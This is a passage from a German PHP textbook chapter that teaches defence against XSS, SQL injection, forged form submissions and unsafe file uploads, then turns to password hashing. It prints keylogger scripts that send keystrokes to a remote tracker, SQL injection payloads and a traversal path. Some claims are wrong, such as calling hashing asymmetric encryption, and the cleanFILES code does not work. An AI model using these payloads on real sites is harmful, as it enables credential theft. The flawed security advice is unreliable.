        Durch den Code aus Listing 13.2 werden also die vom User eingegebenen Daten in das SQL-Statement für den INSERT eingefügt (siehe Markierung), und genau an dieser Stelle existiert das Problem: Ohne weitere Kontrolle werden sämtliche Eingaben des Users in die Tabelle eingetragen. Solche Eingaben könnten etwa wie folgt aussehen:

        
            	
                NName = "Uwe Mutz" → kein Problem

            

            	
                Nachricht = "Hallo zusammen! Tolle Website." → kein Problem

            

        

        Problematischer wird es, wenn Folgendes (beispielsweise ins Nachrichtenfeld) eingegeben wird:

        
            	
                Nachricht = "<script>alert('Hallo Welt');</script>"

            

        

        Der Punkt dabei ist, dass der User offensichtlich in der Lage ist, einen Scriptcode einzugeben, der exakt in diesem Wortlaut in die Tabelle gespeichert wird. Auch das stellt noch kein Problem dar … So weit, so gut. Jedoch sollen in unserem Beispiel die Gästebucheinträge auch wieder ausgegeben werden:

        ...
$sql = "


          SELECT * FROM tbl_gaestebuch
  ORDER BY Eintragezeitpunkt DESC


        ";
$eintraege = query($GLOBALS["conn"],$sql);
if(rowCount($GLOBALS["conn"],$eintraege)>0) {
  echo('<article>');
  while($eintrag = fetch($GLOBALS["conn"],$eintraege)) {
    echo('
      <p>' . $eintrag->Name . ' schrieb am ' . ↩  date("d.m.Y",strtotime($eintrag->Eintragezeitpunkt)) . ' um ' . ↩ date("H:i",strtotime($eintrag->Eintragezeitpunkt)) . ' Uhr:</p>
      <div>' . $eintrag->Nachricht . '</div>
    ');
  }
  echo('</article>');
}
else {
  echo('<p>Derzeit sind noch keine Einträge vorhanden.</p>'); 
}
...


        Listing 13.3    
            Die Ausgabe des gespeicherten Codes veranlasst den JavaScript-Interpreter, diesen auszuführen.

        In der markierten Zeile wird also genau das in den HTML-Code ausgegeben, was in der Tabelle im Feld Nachricht gespeichert ist. Hier tritt nun das eigentliche Problem zutage: Sollte im Feld der Tabelle ein (JavaScript-)Code gespeichert sein, so wird dieser wiederum genau so, wie er in der Datenbank gespeichert ist, in den HTML-Code eingefügt, was dazu führt, dass der Browser diesen Code auch ausführt! Der Grund dafür ist, dass der Browser nicht unterscheiden kann, welche HTML-Teile vom Webdesigner statisch eingegeben wurden und welche von PHP per echo erzeugt wurden – Code ist Code.

        Um XSS zu vermeiden, müssen also alle schädlichen Zeichen in entsprechende Sonderzeichen umgewandelt werden. In Tabelle 13.1 sehen Sie diese Zeichen und ihre unschädliche Ersetzung.

        
            
                
                    	
                        Zeichen

                    
                    	
                        Warum gefährlich?

                    
                    	
                        Umwandeln in

                    
                

            
            
                
                    	
                        < (Kleiner-Zeichen)

                    
                    	
                        Gefährlich, da HTML-Tags (wie auch das <script>) damit geschrieben werden.

                    
                    	
                        &lt;

                    
                

                
                    	
                        > (Größer-Zeichen)

                    
                    	
                        (siehe oben)

                    
                    	
                        &gt;

                    
                

                
                    	
                        & (kaufmännisches Und: Ampersand)

                    
                    	
                        Gefährlich, da GET-Daten durch den Ampersand voneinander getrennt werden und auch die Auskodierung von Sonderzeichen mit einem Ampersand beginnt.

                    
                    	
                        &amp;

                    
                

                
                    	
                        " (doppeltes Anführungszeichen)

                    
                    	
                        Gefährlich, da Attributwerte von Tags immer in Anführungszeichen (einfach oder doppelt) stehen.

                    
                    	
                        &quot;

                    
                

                
                    	
                        ' (einfaches Anführungszeichen bzw. Apostroph)

                    
                    	
                        (siehe oben)

                    
                    	
                        &apos;

                    
                

            
        

        Tabelle 13.1    
            Gefährliche Zeichen und wodurch sie ersetzt werden

        Um dies zu tun, greifen Sie auf die Funktion htmlspecialchars von PHP zurück. Eine Decodierungsmöglichkeit liefert wiederum die Funktion htmlspecialchars_decode.

        Diese Vorgehensweise würde dazu führen, dass nicht der Text <script>alert('Hallo Welt');</script>, sondern der Text &lt;script&gt;alert(&apos;Hallo Welt&apos;);&lt;/script&gt; in der Tabelle gespeichert und in weiterer Folge auch so auf dem Bildschirm ausgegeben wird. Der Text muss bereits beim Speichern in die Datenbank geändert werden und nicht erst bei der Ausgabe (was ja theoretisch auch möglich wäre), weil sich der Code für die Ausgabe ja jederzeit ändern könnte, weshalb eine entsprechende Umwandlung auch vergessen werden könnte. Sind die Daten jedoch bereits korrekt gespeichert, kann das nicht mehr passieren.

        Die entsprechende Korrektur unseres Codes lautet also:

        ...
  $sql = "


            INSERT INTO tbl_gaestebuch (Name,Nachricht)
    VALUES(
      '" . htmlspecialchars($_POST["NName" ], ENT_QUOTES | ENT_HTML5, ↩
"UTF-8") . "',
      '" . htmlspecialchars($_POST["Nachricht"], ENT_QUOTES | ENT_HTML5, ↩
"UTF-8") . "'
    )


          ";
...


        Listing 13.4    
            XSS wird verhindert, indem die unerwünschten Zeichen durch »htmlspecialchars« ersetzt werden.

        Anmerkung: Die Übergabeparameter 2 und 3 sind wie folgt zu lesen:

        
            	
                ENT_QUOTES | ENT_HTML5: Diese definieren, dass sowohl die einfachen als auch die doppelten Anführungszeichen ersetzt werden (ENT_QUOTES) und dass von HTML5 ausgegangen wird (ENT_HTML5).

            

            	
                "UTF-8": Definiert den Zeichensatz, der verwendet werden soll.

            

        

        Bitte beachten Sie weiters, dass es sich bei ENT_QUOTES und ENT_HTML5 um (von PHP vordefinierte) Konstanten handelt und bei "UTF-8" um einen String. Die vollständige Definition des Befehls finden Sie wie üblich auf php.net unter http://php.net/manual/de/function.htmlspecialchars.php.

        
            13.1.1    Key-Tracker

            Wir können das XSS-Problem noch weiter treiben und einen Key-Tracker einschmuggeln. Ein Key-Tracker ist ein kleines Codeschnipsel, das sämtliche Tastendrucke eines Users mittrackt und gegebenenfalls dann auch weitersendet oder weiterverarbeitet. Ein solcher Key-Tracker ist schnell geschrieben, wie Sie an den beiden folgenden Code-Snippets sehen (einmal reines JavaScript, einmal mithilfe von jQuery).

            
                jQuery

                <script>


                //jQuery-Variante:
window.addEventListener("DOMContentLoaded",function() {
  document.addEventListener("keydown",function(ev) {
    const currentDate = new Date();
    const timestamp = currentDate. getTime();
    $.ajax({
      url: "https://.../tracker.php",
      data: {
        T: ev.key,
        F: ev.target.outerHTML!=undefined ? ev.target.outerHTML : "",
        ts: timestamp
      },
      method: "post"
    });
  });
});


                </script>


                Listing 13.5    
            Ein Keytracker mit jQuery

            
            
                Reines JavaScript

                <script>


                window.addEventListener("DOMContentLoaded",function() {
  document.addEventListener("keydown",function(ev) {
    const currentDate = new Date();
    const timestamp = currentDate. getTime();
    var ajax = new XMLHttpRequest();
    if(ajax) {
      let url = "https://.../tracker.php";
      let data = {
        T: ev.key,
        F: ev.target.outerHTML!=undefined ? ev.target.outerHTML : "",
        ts: timestamp
      };
      ajax.open("POST",url);
      ajax.setRequestHeader("Content-Type",
                            "application/x-www-form-urlencoded");
      ajax.send(new URLSearchParams(data).toString());
    };
  });
});


                </script>


                Listing 13.6    
            Ein Keytracker mit purem JavaScript

                Gibt ein bösartiger User (nennen wir ihn »Angreifer«) diesen Code in ein Textfeld ein, das die Eingabe in die Datenbank schreibt und die gesendeten Einträge dann auch wieder ausgibt, so trackt er jegliche Tasteneingabe aller Ihrer User und sendet die Infos zu den gedrückten Tasten (Taste, Zeitpunkt, HTML-Code des Feldes) an eine entfernte Seite (tracker.php). Wenn nun noch der unangenehme Fall eintritt, dass sich auf derselben Seite zufälligerweise auch ein Login-Bereich befindet, dann haben Sie ein reales Problem (siehe Abbildung 13.1).

                
                    [image: Wie Sie an der Netzwerkanalyse erkennen, werden im Hintergrund Anfragen an eine Tracking-Seite gesendet. Nicht gut!]

                    Abbildung 13.1    
            Wie Sie an der Netzwerkanalyse erkennen, werden im Hintergrund Anfragen an eine Tracking-Seite gesendet. Nicht gut!

                
            
        
        
            13.1.2    CSS-Keylogger

            Wie weit man es mit dem Key-Tracking treiben kann, zeigt die Idee eines CSS-Keyloggers. Durch das Einschmuggeln des folgenden CSS-Codes wird beispielsweise für jedes Passwortfeld ein Request auf die Datei key_a initiiert, sofern das Passwortfeld mit einem »a« endet:

            <style>


            input[type="password"][value$="a"] {
  background-image: url("https://.../key_a");
}


            </style>


            Ein Angreifer könnte diesen CSS-Code nun um sämtliche Buchstaben, Ziffern und Sonderzeichen erweitern, bis ein vollständiges »Zeichenset« entsteht. Analysiert er nun die Logfiles auf dem Server, so kann er nachvollziehen, welche Requests auf welche Dateien (in welcher Reihenfolge) abgesetzt wurden, und kann so das Passwort rekonstruieren.

        
    


                    
                        
        13.2    Angriffsszenario 2: SQL-Injections

        Unter SQL-Injections versteht man das Einschmuggeln von SQL-Statements in bereits bestehende Statements (etwa durch Anfügen weiterer SQL-Befehle).

        Gehen wir vom Beispiel eines Logins aus. Der HTML-Code für ein Login-Formular wäre im einfachen Fall wie folgt:

        ...
<form method="post">
  <label>
    E-Mail-Adresse:
    <input type="email" name="E-Mail-Adresse" required>
  </label>
  <label>
    Passwort:
    <input type="password" name="PWD" required>
  </label>
  <input type="submit" value="einloggen">
</form>
...


        Listing 13.7    
            Der HTML-Code eines Loginformulars stellt noch kein Problem dar.

        Wie auch bei XSS ist an diesem Code nichts auszusetzen. In weiterer Folge wird der Formularinhalt nach dem Abschicken des Formulars an die Serverseite übermittelt und dort entsprechend abgearbeitet. Die eingegebenen Daten werden (wie auch schon zuvor) so, wie sie sind, in das SELECT-Statement eingesetzt:

        ...
if(count($_POST)>0) {
  $sql = "


            SELECT * FROM tbl_user
    WHERE(
      E-Mail-Adresse='" . $_POST["E-Mail-Adresse"] . "' AND
      Passwort='" . $_POST["PWD"] . "'
    )
  ";


          $userliste = query($GLOBALS["conn"],$sql);
  if(rowCount($GLOBALS["conn"],$userliste)>0) {
    $msg = '<p class="success">Vielen Dank - Sie werden in Kürze ↩ weitergeleitet.</p>';
  }
  else {
    $msg = '<p class="error">Leider waren Ihre Daten nicht korrekt - bitte ↩ versuchen Sie es erneut.</p>';
  }
}
... 


        Listing 13.8    
            Die SQL-Injection ist perfekt. Verdammt!

        
            13.2.1    First-Order SQL-Injections

            Nun könnten Sie argumentieren, dass es sich hier ja nicht um einen INSERT-Befehl handelt und somit auch keine (schädlichen) Eingaben des Users gespeichert werden. Das ist korrekt, jedoch müssen Sie sich überlegen, was beispielsweise geschehen würde, wenn der User folgende Eingaben tätigt:

            
                	
                    E-Mail-Adresse: sunshine@wettervorhersage.at (Diese E-Mail-Adresse existiert nicht in der User-Tabelle.)

                

                	
                    Passwort: ' OR '1'='1 (Offensichtlich ein wenig eigenartig, dieses Passwort …)

                

            

            Sehen wir uns genauer an, was das für unsere SQL-Variable $sql bedeutet, nachdem diese Werte eingesetzt wurden:

            $sql = "


              SELECT * FROM tbl_user
  WHERE(
    E-Mail-Adresse='sunshine@wettervorhersage.at' AND
    Passwort='' OR '1'='1'
  ) 


            ";


            Die E-Mail-Adresse wird zunächst korrekt eingesetzt. Auch wird das Passwort »korrekt« eingesetzt, jedoch bekommt der daraus entstandene SQL-Befehl plötzlich eine völlig andere Bedeutung. In Worten ausgesprochen, steht nun dort:

            »Wähle alle Spalten aus der Tabelle tbl_user aus, wo entweder gilt, dass die E‐Mail-Adresse gleich sunshine@wettervorhersage.at und das Passwort gleich ein leerer String ist, oder wo gilt, dass Eins gleich Eins ist.«


            Nun, Eins ist aber immer gleich Eins. Somit ergibt die Filterung mit WHERE, dass alle Einträge ausgewählt werden, wo (beachte: OR) Eins gleich Eins ist – dies ist für jeden Datensatz erfüllt, und der Datenbankserver liefert also alle Zeilen der User-Tabelle zurück.

            Weil wir weiter unten im Listing nur überprüft haben, ob mehr als null Datensätze vom Datenbankserver zurückgeliefert wurden, ist der Login erfolgreich.

            So lösen dieses Problem, indem Sie die Eingaben des Users durch PHP entsprechend »escapen«, wodurch ein korrektes SQL-Statement erzeugt wird. Der entsprechende PHP-Befehl lautet real_escape_string (MySQLi) bzw. quote (PDO) und ist eine Methode des Verbindungsobjekts. Bitte beachten Sie, dass bei Verwendung dieser Methode nur dann der korrekte Zeichensatz berücksichtigt wird, wenn der Verbindungszeichensatz zuvor per set_charset gesetzt wurde!

            Im Fall von MySQLi müssten Sie Folgendes schreiben:

            ...
$sql = "


              SELECT * FROM tbl_user
  WHERE(
    E-Mail-Adresse='" . $GLOBALS["conn"]->real_escape_string($_POST["E-Mail-↩ Adresse"]) . "' AND
    Passwort='" . $GLOBALS["conn"]->real_escape_string($_POST["PWD"]) . "'
  ) 


            ";
...


            Listing 13.9    
            Die »real_escape_string«-Methode des »MySQLi«-Objekts verhindert das Einschmuggeln von SQL-Code.

            Im Fall von PDO würde der Code so aussehen:

            ...
$sql = "


              SELECT * FROM tbl_user
  WHERE(
    E-Mail-Adresse='" . $GLOBALS["conn"]->quote($_POST["E-Mail-Adresse"]) . ↩ 
"' AND
    Passwort='" . $GLOBALS["conn"]->quote($_POST["PWD"]) . "'
  ) 


            ";
...


            Listing 13.10    
            Die »quote«-Methode des »PDO«-Objekts kann das auch.

            Somit sind direkte Eingaben von SQL-Befehlen zwar immer noch möglich, sie werden jedoch nicht mehr als solche vom Datenbankserver verarbeitet.

            
                [»]  Reicht das Entfernen der Anführungszeichen aus?

                Man hätte auch argumentieren können, dass in diesem Fall auch das Entfernen der einfachen Anführungszeichen ausgereicht hätte. Korrekt, jedoch beschränken sich SQL-Injektions nicht nur auf die Eingabe von Anführungszeichen, sondern viel eher sogar auf verschachtelte (weitere) SQL-Befehle, die beispielsweise das Auslesen (und spätere Ausgeben) von ganzen Tabelleninhalten ermöglichen.

            

            Um die Unterschiede zwischen MySQLi und PDO nicht berücksichtigen zu müssen, schreiben wir uns im Idealfall wieder eine Wrapper-Funktion, die je nach Anbindungsobjekt den korrekten Befehl verwendet:

            function escape(MySQLi|PDO $conn, string $in):string {
    $cls = get_class($conn);
    switch(strtolower($cls)) {
        case "mysqli":
            $r = $conn->real_escape_string($in);
            break;
        default:
            $r = $conn->quote($in);
    }
 
    return $r;
}


            Listing 13.11    
            Eine Wrapper-Funktion für die jeweiligen Escape-Methoden

            Somit können wir einen vereinheitlichten Code für das SQL-Statement verwenden und müssen nicht mehr zwischen MySQLi und PDO unterscheiden:

            ...
$sql = "


              SELECT * FROM tbl_user
  WHERE(
    E-Mail-Adresse='" . escape($GLOBALS["conn"],$_POST["E-Mail-Adresse"]) . ↩ 
"' AND
    Passwort='" . escape($GLOBALS["conn"],$_POST["PWD"]) . "'
  ) 


            ";
...


            
                [»]  Prepared Statements als Abhilfe?

                Würden Sie anstelle der Vorgehensweise wie oben, wo die Eingabe des Users direkt in den SQL-String eingesetzt wird, auf Prepared Statements zurückgreifen, so können diese Probleme erst gar nicht auftreten. Das Datenbanksystem würde sich um die korrekte Umwandlung der übermittelten Daten (in Strings, Zahlen, Datumswerte etc.) kümmern, da dem Datenbanksystem bereits bekannt ist, für welche Felder der Tabelle die (noch zu übermittelnden) Werte bestimmt sind.

                Dementsprechend wären Prepared Statements eine gute Wahl, um SQL-Injections zu vermeiden. Denken Sie aber daran, dass Prepared Statements nicht geschaffen wurden, um SQL-Injections zu vermeiden, sondern um Statements vorzubereiten, die man mehrmals verwenden kann. Der Nachteil der schlechteren Performance von Prepared Statements ist nach wie vor vorhanden. Aus diesem Grund ist es nicht immer sinnvoll, nur aus »Convenience-Gründen« auf Prepared Statements zuürckzugreifen.

            

            Stellen wir uns ein weiteres Szenario vor, beispielsweise in einem Webshop. In Webshops werden den Usern gern Suchfelder angeboten, mit deren Hilfe sie nach Produkten stöbern können:

            <form method="post" onsubmit="...">
  <input type="search" name="Suche">
</form>


            Ob die Daten mittels GET oder POST übertragen werden, spielt eine untergeordnete Rolle, denn unabhängig davon geht man davon aus, dass die vom User eingegebenen Daten entsprechend weiterverarbeitet werden. Somit ergeben sich weitere Möglichkeiten einer SQL-Injection durch potenzielle Angreifer. Nehmen wir an, die Produktetabelle im Shop trägt den Namen tbl_produkte:

            
                	
                    test %'; DELETE FROM tbl_produkte;--: Durch die Angabe von -- am Ende des SQL-Statements werden folgende SQL-Statements, die zur gleichen Zeit ausgeführt werden sollten, auskommentiert, da -- das Kommentarzeichen in SQL darstellt. Wie Sie gut erkennen können, wird hiermit der Inhalt der Tabelle tbl_produkte gelöscht.

                    
                        [ ! ]  Was ist für Angreifer interessanter: das Löschen oder das Abfragen von Daten?

                        Beachten Sie an dieser Stelle, dass potenzielle Eindringliche selten am Löschen, sondern vielmehr am Abfragen von Daten interessiert sind. Dennoch zeigt die dargestellte Variante gut, auf welche Art und Weise typischerweise Angriffe stattfinden. Natürlich ist auch das Löschen von Daten eine Gefahr und kann Ihnen ordentlich den Tag versauen – keine Frage.

                    

                

                	
                    ' UNION SELECT E-Mail-Adresse, Passwort FROM tbl_user--: Wird dieses Statement an ein bestehendes SQL-Statement angehängt, so werden alle Daten aus der Tabelle tbl_user mit abgefragt. Man spricht in diesem Fall von einem UNION-Hack.

                

                	
                    SELECT * FROM information_schema.tables: Eine ebenfalls gern eingesetzte Angriffsmethode stellt das Abfragen von Datenbank-Informationen dar, die in den meisten Datenbanken über das Schema (information_schema) abgefragt werden können. Hiermit ermitteln Angreifer etwa die in einer Datenbank vorhandenen Tabellen.

                

            

            
                [»]  Werden die abgefragten Daten denn auch sichtbar gemacht?

                Insbesondere im Fall des UNION-Hacks stellt sich natürlich die Frage, ob die abgefragten Daten dann auch an den Client durchgereicht werden. Hat sich ein Entwickler gut angestellt und hat er im Hinterkopf, dass so etwas möglich ist, so wird er auch Gegenmaßnahmen treffen. Mir geht es hier vor allem darum, Sie zu informieren, dass Derartiges überhaupt passieren kann.

            

            Auf diese oder eine ähnliche Art lassen sich sehr viele Angriffe auf Datenbanken durchführen. Es ist zwar Tatsache, dass die meisten SQL-Injections über ein SELECT-Statement ausgeführt werden, aber dennoch können Eindringlinge auch andere Möglichkeiten nutzen. SQL-Injections finden sich

            
                	
                    in UPDATE-Statements in den zu aktualisierenden Werten oder in der WHERE-Klausel,

                

                	
                    in INSERT-Statements in den einzufügenden Werten oder in der WHERE-Klausel

                

                	
                    und selbst in SELECT-Statements, wo man es nicht erwartet: im Namen von Tabellen oder Feldern sowie in der ORDER BY-Klausel.

                

            

            Sehr oft wird der SQL-Kommentar so, wie oben dargestellt, eingesetzt, um zusätzliche Statements einzufügen.

            Ganz allgemein spricht man bei derartigen Hacking-Angriffen von First-Order SQL-Injections: Die vom User eingegebenen Daten werden direkt in ein SQL-Statement eingesetzt, sodass das SQL-Statement unsicher wird.

        
        
            13.2.2    Second-Order SQL-Injections

            Die zweite Art von SQL-Injections sind solche, bei denen die Eingabe des Angreifers nicht direkt in ein SQL-Statement eingesetzt wird, sondern die Eingabe des Angreifers (in einer Datenbank) gespeichert wird (z. B. bei einer Registrierung). Erst dann, wenn die Eingabe des Angreifers zu einem späteren Zeitpunkt weiterverarbeitet wird (etwa bei einem Login nach erfolgter Registrierung), wird das SQL-Statement ausgeführt:

            
                	
                    Registrierung bei Eingabe des Angreifers in das Username-Feld: böse'; UPDATE tbl_user SET Passwort='xxx' WHERE Username='Administrator'--

                

                	
                    Bei einem Login wird alsdann auf diesen »Usernamen« zugegriffen: SELECT * FROM tbl_user_rechte WHERE (Username='böse'; UPDATE tbl_user SET Passwort='xxx' WHERE Username='Administrator'--

                

            

            So würde ein beliebiger Angreifer als User das Passwort eines Administrators auf xxx setzen und könnte sich somit als Administrator einloggen. Natürlich immer gesetzt den Fall, es existiert ein User mit dem Usernamen Administrator und die Tabelle und Feldnamen existieren.

            Ein Schutz gegen SQL-Injections ist also zwingend erforderlich! Nicht selten fällt ein Verzicht auf einen solchen Schutz unter den Tatbestand der Fahrlässigkeit, da derartige Angriffsszenarien bekannt sind und Sie beim Programmieren entsprechende Vorkehrungen treffen können bzw. müssen.

        
    


                    
                        
        13.3    Angriffsszenario 3: Formulardaten entfernter Sites

        Ein weiteres Problem ist, dass Websites in der Regel nicht unterscheiden, von welcher Site Formulardaten an die Website geschickt werden. Jedoch ist es sehr einfach möglich, mithilfe eines HTML-Formulars Daten an eine x-beliebige Website zu senden:

        ...
<form method="get" action="http://www.schulungsunternehmen.at/kurssuche">
  <input type="text" name="q">
  <input type="submit" value="angriff">
</form>
...


        Listing 13.12    
            Dieses Formular sendet Daten an eine entfernte Seite.

        Der Schlüssel dazu ist das action-Attribut des HTML-Formulars.

        Weiß ein Angreifer über den Aufbau eines Formulars der anzugreifenden Site Bescheid (und darüber weiß man immer Bescheid, da man den Quelltext der Site im Browser anzeigen lassen kann), so kann er sich ein eigenes Formular zurechtbasteln, das die exakt gleichen Formularfelder verwendet wie das Formular auf der Site, die er angreifen will. So hat er die Möglichkeit, von einem entfernten System Daten an diese Site zu schicken, ohne das eigentliche Formular der Site auszufüllen. Wenn er dazu in der Lage ist, kann er beispielsweise in weiterer Folge einen Automatismus programmieren, der unzählige Anfragen an diese Site schickt (beispielsweise um diverse Login-Daten auszuprobieren).

        Wie sieht nun die Abhilfe aus? Um serverseitig zu ermitteln, woher die Daten kommen, kann man den sogenannten HTTP-Referer abfragen, der vom Browser an den Server übermittelt wird. Die unangenehme Sache dabei ist, dass der HTTP-Referer – weil er clientseitig formuliert wird – manipuliert werden kann. Trotzdem ist es eine erste Abhilfe (die es dem Angreifer auch schwieriger macht), dass der HTTP-Referer mit dem HTTP-Host verglichen wird: Im Referer steht die gesamte URL des Absenders, und im Host steht der Domainname. Diese beiden Informationen sind zwar nicht identisch, jedoch muss sich offensichtlich der Host innerhalb des Referer-Strings befinden:

        
            	
                Referer: http://www.schulungsunternehmen.at/dateixyz.php

            

            	
                Host: www.schulungsunternehmen.at

            

        

        Der Referer wird über $_SERVER["HTTP_REFERER"], der Host über $_SERVER["HTTP_HOST"] ermittelt. Zieht man also folgenden Vergleich, so kann man zumindest einmal die einfachen Übergriffe auf die eigene Website unterbinden:

        $pos = strpos($_SERVER["HTTP_REFERER"],$_SERVER["HTTP_HOST"]);
if(!is_bool($pos) && ($pos==7 || $pos==8)) {
    ...
}


        Durch diesen Code wird zunächst die Position des Hosts im Referer ermittelt. Sollte diese

        
            	
                nicht false sein (Sie wäre dann false, wenn der Host nicht im Referer vorkommt. Das wäre wiederum nur dann der Fall, wenn der Referer leer ist.)

            

            	
                und die Position entweder den Wert 7 (im Fall von http://...) oder den Wert 8 (im Fall von https://...) haben,

            

        

        so kommen die Formulardaten anzunehmenderweise von der eigenen Website.

        
            [»]  Leerer Referer

            Der Referer ist dann leer, wenn die entsprechende Seite direkt (per Eingabe der URL im Browser o. Ä.) aufgerufen wird oder wenn der Browser den Referer nicht mitschickt. Zweiteres ist jedoch in modernen Browsern nicht der Fall, wodurch man davon ausgehen kann, dass nur Browser eines Angreifers eventuell den Referer nicht mitschicken. Und genau das möchte man ja abfangen.

        

        Alternativ kann auch das sogenannte Request Scheme (also das Anfrageschema oder auch das Protokoll, das für die Anfrage verwendet wurde) abgefragt und somit der erste Teil des Referers zusammengebastelt werden:

        $sub = $_SERVER["REQUEST_SCHEME"] . "://" . $_SERVER["HTTP_HOST"];
$pos = strpos(S_SERVER["HTTP_REFERER"],$sub);
if(!is_bool($pos) && $pos==0) {
  ...
}


        Listing 13.13    
            Der HTTP-Referer wird abgefragt.

        Somit wäre die Überprüfung unabhängig vom verwendeten Anfrageprotokoll.

    


                    
                        
        13.4    Angriffsszenario 4: Upload von Dateien

        Neben der Übermittlung von Formulardaten, wie im vorangegangenen Abschnitt beschrieben, birgt das Hochladen von Dateien weitere Sicherheitsrisiken:

        
            	
                Der im $_FILES-Array angegebene Content Type im Eintrag namens type ist nicht vertrauenswürdig, da die Information vom Client (Browser) ermittelt und an den Server übergeben wird und somit manipuliert werden kann.

            

            	
                Der Eintrag name im $_FILES-Array kann ebenfalls manipuliert und beispielsweise mit zusätzlichen Pfadangaben (../../boese.jpg) versehen werden. Er kann somit Pfadangaben beinhalten, die als Angriffspunkte dienen. Mögliche Angriffe in diesem Zusammenhang wären:

                
                    	
                        Directory Traversal Attacks: etwa durch Angaben wie a/../../../etc/password, wodurch versucht wird, auf geschützte Informationen zuzugreifen

                    

                    	
                        Resource Exhaustion Attacks: etwa durch Angaben wie a/b/b/b/b/b/b/b/b/b/b/b/b/b/b.jpg, wodurch maximale Pfadlängen des Betriebssystems überschritten werden würden

                    

                

            

        

        Das erste Problem lösen Sie, indem Sie den Content Type nicht aus dem $_FILES-Array auslesen, sondern diesen mithilfe der Funktion mime_content_type überprüfen:

        $type = mime_content_type($_FILES["meinUpload"]["tmp_name"]);


        Alternativ können Sie auch die Klasse finfo_file anstelle von mime_content_type heranziehen, was jedoch keine wirklichen Vorteile mit sich bringt:

        $info = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($info,$_FILES["meinUpload"]["tmp_name"]);


        Das zweite Problem lösen Sie, indem Sie den Namen der Datei (respektive den name-Eintrag im $_FILES-Array) von Pfadangaben befreien:

        $name = basename($_FILES["meinUpload"]["name"]);


        Das entsprechende Uploadfeld im HTML-Formular ist in den oben stehenden Codefragmenten mit »meinUpload« bezeichnet:

        <input type="file" name="meinUpload">.

        Eine sinnvolle Funktion in diesem Zusammenhang wäre etwa eine Funktion, die die unsicheren Einträge korrigiert:

        function cleanFILES() {
  foreach($_FILES as $f) {
    $f["type"] = mime_content_type($f["tmp_name"]);
    $f["name"] = basename($f["name"]);
  }
}


        Listing 13.14    
            Dateipfade bereinigen

        Bevor Sie also auf das $_FILES-Array zugreifen, rufen Sie die Funktion cleanFILES() auf. Dass diese Funktion auch auf multiple Uploads erweitert werden kann, ist klar und wäre eine gute Programmierübung.

        Weil es sich im Falle von $_FILES um ein superglobales Array handelt, kann aus jeder Funktion heraus auf das Array zugegriffen werden und es muss nicht als Parameter an die Funktion übergeben werden.

        
            [»]  Eigene oder fremde Dateinamen?

            Eine Alternative zur Korrektur von Pfadnamen ist, dass Sie bei der Entwicklung die Pfadnamen bestimmen, unter denen die Dateien abgelegt werden. Erst beim Download wird der Datei dann wieder der ursprüngliche Name gegeben.

        

        Ich möchte noch anmerken, dass auch dem size-Eintrag im $_FILES Array nicht zu vertrauen ist. Da diese Angabe in der Regel jedoch kein Sicherheitsrisiko darstellt, gehe ich darauf nicht näher ein. Es sei nur erwähnt, dass man die Dateigröße selbstverständlich auch mithilfe einer geeigneten Funktion namens filesize ermitteln kann.

    


                    
                        
        13.5    Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren

        Bis dato haben wir uns noch nicht um die Verschlüsselung von Daten (insbesondere von Passwörtern) gekümmert – dies wollen wir nun nachholen.

        Im Falle der Verschlüsselung von Daten muss man grundsätzlich folgende Überlegungen anstellen:

        
            	
                Sollen die verschlüsselten Informationen wieder entschlüsselt werden können?

            

            	
                Wie sicher ist die Verschlüsselung? Sprich, wie lange bräuchte ein System, um das Passwort zu entschlüsseln?

            

            	
                Wenn ein Text zu zwei verschiedenen Zeitpunkten verschlüsselt wird, soll das Ergebnis dann immer dasselbe sein?

            

        

        Im Fall von Passwörtern würden wir wie folgt argumentieren:

        
            	
                ad 1: Nein, einmal verschlüsselte Passwörter sollen nicht wieder entschlüsselt werden können. Das bedeutet, die Passwörter werden verschlüsselt in der Datenbank gespeichert, und im Falle eines Logins wird die Eingabe des Users ebenfalls (mit demselben Verschlüsselungsalgorithmus) verschlüsselt. Anschließend werden die beiden verschlüsselten Werte (einmal aus der Datenbank, einmal aus der Eingabe des Users) miteinander verglichen.

            

            	
                ad 2: Die Verschlüsselung sollte so stark sein, als dass ein System es nicht »in angemessener Zeit« schafft, das Passwort zu entschlüsseln. Das ist zwar recht kryptisch, aber man meint damit etwa »100 Jahre« oder ähnlich hohe Werte.

            

            	
                ad 3: Nein, das soll es nicht, da die Passwörter ansonsten zu leicht zu knacken wären. Eine ausführlichere Erklärung dazu folgt.

            

        

        Verschlüsselungsverfahren, deren Ergebnis nach der Verschlüsselung nicht mehr entschlüsselt werden kann, nennt man »asymmetrische Verschlüsselungsverfahren«.

        
            13.5.1    Alt, gut, unsicher: Die MD5-Verschlüsselung

            Betrachten wir den Fall eines noch in den letzten Jahren recht viel verwendeten Algorithmus namens MD5 (Message Digest Version 5). Dieser verwendet einen 128 Bit langen Hashwert, mit dem der Text verschlüsselt wird. Das ergibt schlussendlich einen 32-stelligen alphanumerischen Hashwert:

            $text = "Ich werde nun verschlüsselt";
$crypt = md5($text);
echo($crypt);


            Das zugehörige Ergebnis lautet: 3c49c12be05f1692e31d03b0e15f8f8d. Mithilfe der PHP-Funktion md5 wurde demnach der Inhalt von $text entsprechend verschlüsselt. Die Problematik an der Sache ist, dass der erzeugte (verschlüsselte) Code derselbe ist, wenn der Text zu einem späteren Zeitpunkt noch einmal verschlüsselt wird:

            
                	
                    md5($text) zu Zeitpunkt 1 (z. B. gestern) ergibt: 3c49c12be05f1692e31d03b0e15f8f8d

                

                	
                    md5($text) zu Zeitpunkt 2 (z. B. heute) ergibt: 3c49c12be05f1692e31d03b0e15f8f8d

                

            

            Man könnte nun meinen, dass dies ja kein größeres Problem darstellt – das Gegenteil ist jedoch der Fall, und zwar aus folgenden Gründen:

            
                	
                    Menschen tendieren dazu, Passwörter wie Geburtsdaten, Namen von geliebten Personen (Ehepartner, Freund/Freundin, Kind, Enkel) und Kombinationen davon etc. zu wählen.

                

                	
                    Solche Passwörter stellen also bekannte Worte und Kombinationen dar.

                

            

            Erhält ein Angreifer Zugriff auf solche verschlüsselten Daten und besitzt er beispielsweise ein Verzeichnis gängiger Vornamen, so könnte er sich einen Code schreiben, der all diese Vornamen mit MD5 codiert und dann mit den verschlüsselten Werten vergleicht. Hat er Erfolg, so kennt er das Passwort. Angenommen, das verschlüsselte Passwort steht in einer Variable $pwd und lautet 68c8f7c3f433b3682d1363312fbacec6. Nun bräuchten wir lediglich ein Array mit allen möglichen Vornamen und könnten wie folgt arbeiten:

            //$pwd: 68c8f7c3f433b3682d1363312fbacec6
